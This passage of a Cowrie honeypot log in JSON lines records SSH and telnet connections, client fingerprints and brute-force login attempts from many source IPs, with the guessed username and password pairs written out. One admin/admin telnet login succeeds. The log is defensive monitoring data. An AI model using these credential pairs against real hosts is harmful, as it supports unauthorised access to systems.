["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:27:18.335680Z","src_ip":"45.78.204.254","session":"44b523a1f4cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testusr","password":"testusr","message":"login attempt [testusr/testusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:27:19.334184Z","src_ip":"45.78.204.254","session":"44b523a1f4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:27:20.578851Z","src_ip":"45.78.204.254","session":"44b523a1f4cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":50680,"dst_ip":"10.17.0.5","dst_port":22,"session":"357cbc284876","protocol":"ssh","message":"New connection: 163.7.9.84:50680 (10.17.0.5:22) [session: 357cbc284876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:24.867898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:24.877066Z","src_ip":"163.7.9.84","session":"357cbc284876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:25.137935Z","src_ip":"163.7.9.84","session":"357cbc284876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"237723","message":"login attempt [root/237723] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:26.200468Z","src_ip":"163.7.9.84","session":"357cbc284876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":9000,"dst_ip":"10.17.0.5","dst_port":22,"session":"86795ea90886","protocol":"ssh","message":"New connection: 36.92.41.115:9000 (10.17.0.5:22) [session: 86795ea90886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:27.388907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:27.394109Z","src_ip":"36.92.41.115","session":"86795ea90886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:27.458641Z","src_ip":"163.7.9.84","session":"357cbc284876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:27.657542Z","src_ip":"36.92.41.115","session":"86795ea90886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba","message":"login attempt [root/prueba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:28.724898Z","src_ip":"36.92.41.115","session":"86795ea90886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:29.989661Z","src_ip":"36.92.41.115","session":"86795ea90886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56964,"dst_ip":"159.203.135.109","dst_port":23,"session":"9032f6fe78a0","protocol":"telnet","message":"New connection: 128.199.8.54:56964 (159.203.135.109:23) [session: 9032f6fe78a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:32.733608Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5838,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a946e562a43","protocol":"ssh","message":"New connection: 196.188.93.169:5838 (10.17.0.5:22) [session: 7a946e562a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:41.021353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:41.025630Z","src_ip":"196.188.93.169","session":"7a946e562a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:41.192412Z","src_ip":"196.188.93.169","session":"7a946e562a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paul","password":"paul@123","message":"login attempt [paul/paul@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:41.890376Z","src_ip":"196.188.93.169","session":"7a946e562a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:43.059800Z","src_ip":"196.188.93.169","session":"7a946e562a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.37.254","src_port":55146,"dst_ip":"159.203.135.109","dst_port":23,"session":"d107126e03dc","protocol":"telnet","message":"New connection: 45.43.37.254:55146 (159.203.135.109:23) [session: d107126e03dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:52.823655Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:53.290962Z","src_ip":"45.43.37.254","session":"d107126e03dc","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:53.522807Z","src_ip":"45.43.37.254","session":"d107126e03dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":33918,"dst_ip":"10.17.0.5","dst_port":22,"session":"624538741249","protocol":"ssh","message":"New connection: 181.188.176.242:33918 (10.17.0.5:22) [session: 624538741249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:54.967000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:54.971587Z","src_ip":"181.188.176.242","session":"624538741249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:55.138047Z","src_ip":"181.188.176.242","session":"624538741249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql2024","message":"login attempt [mysql/mysql2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:55.815609Z","src_ip":"181.188.176.242","session":"624538741249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:56.981402Z","src_ip":"181.188.176.242","session":"624538741249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":52670,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a0980e4ad66","protocol":"ssh","message":"New connection: 177.85.247.230:52670 (10.17.0.5:22) [session: 0a0980e4ad66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:59.915002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:28:59.918752Z","src_ip":"177.85.247.230","session":"0a0980e4ad66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:00.021685Z","src_ip":"177.85.247.230","session":"0a0980e4ad66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@12345","message":"login attempt [root/Qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:00.494539Z","src_ip":"177.85.247.230","session":"0a0980e4ad66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":38904,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba7034a577ee","protocol":"ssh","message":"New connection: 152.32.214.226:38904 (159.203.135.109:22) [session: ba7034a577ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:00.902723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:00.907274Z","src_ip":"152.32.214.226","session":"ba7034a577ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:01.125810Z","src_ip":"152.32.214.226","session":"ba7034a577ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:01.601841Z","src_ip":"177.85.247.230","session":"0a0980e4ad66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"koha","password":"12345","message":"login attempt [koha/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:02.035573Z","src_ip":"152.32.214.226","session":"ba7034a577ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:03.261846Z","src_ip":"152.32.214.226","session":"ba7034a577ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.783915996551514,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:19.517405Z","src_ip":"128.199.8.54","session":"9032f6fe78a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ddb44fe242","protocol":"ssh","message":"New connection: 103.77.242.62:56500 (159.203.135.109:22) [session: c0ddb44fe242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:43.407756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:43.411802Z","src_ip":"103.77.242.62","session":"c0ddb44fe242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:43.652236Z","src_ip":"103.77.242.62","session":"c0ddb44fe242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16061993","message":"login attempt [root/16061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:44.373936Z","src_ip":"103.77.242.62","session":"c0ddb44fe242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:45.616933Z","src_ip":"103.77.242.62","session":"c0ddb44fe242","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:54.213857Z","src_ip":"45.43.37.254","session":"d107126e03dc","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:29:54.264725Z","src_ip":"45.43.37.254","session":"d107126e03dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40114,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc854fb6bfc","protocol":"telnet","message":"New connection: 128.199.8.54:40114 (159.203.135.109:23) [session: ecc854fb6bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:35.056212Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5839,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6e725334d8","protocol":"ssh","message":"New connection: 196.188.93.169:5839 (10.17.0.5:22) [session: 3f6e725334d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:43.117230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:30:43.121585Z","src_ip":"196.188.93.169","session":"3f6e725334d8","protocol":"ssh"}
